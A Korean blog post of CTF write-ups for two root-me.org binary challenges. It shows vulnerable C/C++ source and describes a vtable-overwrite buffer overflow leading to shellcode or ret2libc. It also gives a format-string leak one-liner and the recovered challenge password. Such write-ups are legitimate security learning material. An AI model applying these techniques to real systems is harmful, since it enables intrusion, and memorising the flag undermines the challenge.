c++객체지향 프로그래밍된 문제에서는

vtables

개념을 잘알아놓아야한다

http://chfhrqnfrhc.tistory.com/entry/Virtual-Table-%EA%B0%80%EC%83%81%ED%95%A8%EC%88%98-%ED%85%8C%EC%9D%B4%EB%B8%94


vtable배울겸 풀어봤다!


아래는 문제 소스코드 


#include 
#include 
#include 
#include 
#include 
 
// g++ -m32 ch20.cpp -o ch20 -z execstack
 
class formatter
{
public :
    virtual int  RTTI(  )  =0 ;
    virtual void  displayName(  )  =0 ;
    virtual void format( const char * ptr )  =0 ;
 
};
 
class UpperFormatter: public formatter
{
public :
 
 
    virtual int  RTTI(  )  { return 1; };
 
    virtual void  displayName(  )  { printf ("UpperFormatter"); }
 
    virtual void format( const char * ptr )
    {
        const char * cptr = ptr;
        while (*cptr)
        {
            printf("%c", toupper(*cptr));
            cptr++;
        }
    }
};
 
 
class LowerFormatter: public formatter
{
public :
    virtual int  RTTI(  )  { return 2; };
 
    virtual void  displayName(  )  { printf ("UpperFormatter"); }
 
    virtual void format( const char * ptr )
    {
        const char * cptr = ptr;
        while (*cptr)
        {
            printf("%c", tolower(*cptr));
            cptr++;
        }
    }
};
#define SIZE (80)
class MyStringFormatter
{
public:
    MyStringFormatter( formatter * pFormatter  ):m_pFormatter(pFormatter),m_Id(1) {};
    void GetInput(int padding )  {
        memset(str ,' ' , SIZE  ); fgets(str+padding,SIZE,stdin); }
    void display() const{m_pFormatter->format(str) ;}
protected:
    char str[SIZE];
    formatter * m_pFormatter ;
    int m_Id;
};
 
 
 
 
int main(int argc, char* argv[])
{
    printf("Padding : 1-5\r\n");
    char size[4];
    int padding  = atoi(fgets(size,4,stdin));
    if (padding <0 || padding >5)
    {
        printf ("Padding error\r\n");
        exit(0);
    }
    printf("\r\n\r\n\tConvert in : \r\n");
    printf("\t  1: uppercase  \r\n");
    printf("\t  2: lowercase  \r\n");
    int choice  = atoi(fgets(size,4,stdin));
 
    formatter * pformatter = NULL;
    switch (choice)
    {
    case 1:
        pformatter =  new UpperFormatter ;
 
        break;
    case 2:
        pformatter =  new LowerFormatter ;
        break;
    }
    if (pformatter == NULL)
    {
        printf ("Bad choice!\r\n");
        exit(0);
    }
    MyStringFormatter formatter(pformatter  );
    printf("String to convert: \r\n");
    formatter.GetInput(padding);
    formatter.display();
 
    return 0;
 
}



padding한 만큼 80바이트보다 오버플로우 시킬수 있음

입력받는 input80바이트 다음에 있는 것이 this구조체의 자리

vptr은 this[0]에 위치하므로

일단 this구조체의 주소를 스택주소로 주고

그 주소에다가 다시 vtable의 주소를 줘야하므로

다시 스택주소를 준다

그다음 다시 함수주소를 주는데 이제 쉘코드가 있는 주소로 주자

그러면 쉘딴다


구조체(this)[0]->vptr->vtable->function() addr

이라는 개념을 알면 쉽게 풀수있다


이렇게 컴파일 되있어서 찾아봤다


-fno-stack-protector에 대한 글


http://bbolmin.tistory.com/65


NX 걸려있으니 RTL로 ㄱㄱ



/bin/sh 주소 찾아주고

gdb에서 system 주소 찾아준다음

공격~


끝~




쉽네유

root-me.org system writeup.docx


  1. #include <stdio.h>
  2. #include <unistd.h>
  3.  
  4. int main(int argc, char *argv[]){
  5. FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
  6. char buffer[32];
  7. fgets(buffer, sizeof(buffer), secret);
  8. printf(argv[1]);
  9. fclose(secret);
  10. return 0;
  11. }


버퍼에 패스워드가 저장되므로
argv에 %8x를 넣어줘서 패스워드값ㅇ르 읽어오면된다



수상하게 긴 놈이 보인다

앞에는 0804b008인 쓸데없는 쓰레기값일 확률이 높으므로 그 뒤에 부터 봐보면


이거는 비밀번호 쳐보니까 안되더라


ㅇ왜냐하면

리틀에디안으로 저장되있어서 그렇다

4글자씩 거꾸로 읽어줘야한다

Dpa9d6)(Epam

이 답





solution에 들어가 다른사람 풀이를 보니 파이썬으로 코딩해놨따

  1. binary5@challenge02:~$ echo -e $(./binary5 $(ruby -e 'print "%08x"*150') | sed -r '
  2. # little-endian architecture, reorder bytes
  3. s/(..)(..)(..)(..)/\4\3\2\1/g
  4. # preceed every byte by \\x so it will be
  5. # interpreted by echo -e
  6. s/(..)/\\x&/g
  7. ' ) | grep -Pazo '[[:print:]]{13}\n'
  8. Dpa9d6)(Epamd


파이썬 정규식을 공부해봐야겠다


+ Recent posts